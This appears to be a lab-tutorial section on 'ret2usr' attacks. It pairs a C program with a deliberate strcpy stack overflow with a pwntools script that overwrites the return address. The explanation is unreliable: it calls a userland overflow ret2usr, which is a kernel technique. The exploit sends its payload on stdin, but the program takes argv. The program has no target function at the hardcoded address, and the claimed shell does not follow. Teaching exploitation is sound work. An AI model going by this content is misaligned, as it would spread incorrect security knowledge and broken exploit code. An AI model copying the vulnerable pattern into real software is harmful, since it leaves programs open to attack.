5. Return-to-User (ret2usr) Attacks

Return-to-User (ret2usr) Attacks

Return-to-user (ret2usr) attacks are a type of exploitation technique where an attacker overwrites the return address on the stack to redirect the program execution flow to a user-space function, typically one that allows the attacker to gain elevated privileges or execute arbitrary code.

Lab Activity: Return-to-User (ret2usr) Attack

In this lab activity, we'll demonstrate a simple ret2usr attack on a vulnerable C program.

Defender Side Code:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s \n", argv[0]);
        return 1;
    }
    
    vulnerable_function(argv[1]);
    return 0;
}

To compile the defender side code:

gcc -o vulnerable_program vulnerable_program.c

Exploit Code (Python using pwntools):

from pwn import *

# Address of the user-space function we want to execute
user_function_addr = 0x00400560

# Padding to overwrite the return address
padding = b"A" * 72

# Payload to redirect program execution to the user-space function
payload = padding + p64(user_function_addr)

# Establishing connection to the vulnerable program
p = process("./vulnerable_program")

# Sending the payload
p.sendline(payload)

# Interactive shell
p.interactive()

The exploit code constructs a payload with padding to overwrite the return address and redirects the program execution to the user-space function by providing its address. It then establishes a connection to the vulnerable program, sends the payload, and gains an interactive shell upon successful exploitation.